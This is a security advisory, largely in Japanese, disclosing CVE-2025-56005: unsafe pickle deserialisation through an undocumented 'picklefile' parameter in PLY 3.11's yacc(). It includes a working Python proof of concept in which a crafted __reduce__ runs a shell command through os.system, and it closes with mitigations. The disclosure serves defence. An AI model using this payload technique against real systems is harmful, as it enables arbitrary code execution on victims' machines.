
Undocumented-RCE-in-PLY — Updated!
`picklefile` パラメータを介した PLY の未公開 RCE
PLYにおける未文書化のリモートコード実行 CVE‑2025‑56005
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
概要
PyPIで配布されているPLY 3.11には、yacc()関数がpicklefileパラメータを指定して呼び出された際に任意のコード実行を可能にする、未文書化かつ安全でない機能が存在します。
picklefileパラメータは、PLYに.pklファイルをPythonのpickle.load()を用いて検証なしでデシリアライズさせます。Pythonのpickleモジュールはデシリアライズ中に任意のコード実行(例:__reduce__()経由)をサポートしているため、攻撃者が指定されたpickleファイルを制御できる場合、パーサーの初期化中に任意のコードを実行できます。
このパラメータは公式のPLYドキュメントやGitHubリポジトリには文書化されていませんが、PyPIリリースでは有効になっています。
影響
攻撃者がyacc(picklefile=...)に渡される.pklファイルを制御、置換、または影響を与えることができた場合、以下を達成できます:
- 任意のコード実行
- アプリケーション起動時の実行
- パースロジックに到達する前のコード実行
これは、以下の場所からパーサーテーブルを読み込むアプリケーションに影響を与える可能性があります:
- キャッシュされた場所
- 共有ディレクトリ
- CI/CDパイプライン
- 設定可能または書き込み可能なパス
🔍 脆弱性の詳細
- 脆弱性の種類: 任意のコード実行
- 攻撃の種類: コンテキスト依存
- 攻撃ベクトル: 攻撃者が制御するpickleファイルの安全でないデシリアライズ
- 影響: コード実行
- CWE: CWE‑502 (信頼できないデータのデシリアライズ)
影響を受ける機能
ply.yacc.yacc(picklefile=...)ply/yacc.py内のLRTable.read_pickle()
追加情報(コンテキストとリスク)
この脆弱性は、そのステルス性と永続化の可能性により、高いリスクをもたらします。
picklefileパラメータは、公式のPLYドキュメントやGitHubリポジトリには文書化されていません。しかし、PyPIで配布されているPLY 3.11にはこの機能が含まれており、提供されたファイルを検証なしでpickle.load()を用いて処理します。
Pythonのpickleモジュールはデシリアライズ中に埋め込まれたコードの実行を許可するため、悪意のあるpickleファイルは、パースロジックが呼び出される前のパーサーセットアップ中に任意のコードを実行できます。
執筆時点で、メンテナーはこの動作を公に認めていません。
この機能は、特にパーサーテーブルファイルが以下の環境で、永続的なバックドアを導入するために悪用される可能性があります:
- ディスク上にキャッシュされている
- ユーザーまたはサービス間で共有されている
- CI/CDパイプラインで生成または再利用されている
- 設定可能または書き込み可能なパスから読み込まれている
文書化の欠如、サイレントな実行パス、および安全でないデシリアライズの高い影響を考慮すると、下流のユーザーに注意を促し保護するためにCVEの割り当てが正当化されます。
概念実証(PoC)
この概念実証は、未文書化のpicklefileパラメータを介して悪意のあるpickleファイルが提供された場合の任意のコード実行を実証します。
PoCの概要
PoCは以下を行います:
- 最小限のレキサーとパーサーを定義
- 悪意のあるpickleペイロードを作成
- デシリアライズ中にシステムコマンドを実行
期待される結果
yacc(picklefile='exploit.pkl')が呼び出されると、パーサーの初期化中に任意のコードが実行されます。
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
緩和策
- 信頼できない、または外部から書き込み可能なファイルで
picklefileパラメータを使用しない - ユーザーが制御する場所からパーサーテーブルを読み込まない
- すべてのpickleファイルを安全でない入力として扱う
- ディスクから読み込むのではなく、パーサーテーブルを再生成することを優先する
参考文献
- PLY GitHubリポジトリ: https://github.com/dabeaz/ply
- PyPIパッケージ: https://pypi.org/project/ply/
- Python Pickleドキュメント: https://docs.python.org/3/library/pickle.html
- 概念実証リポジトリ: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY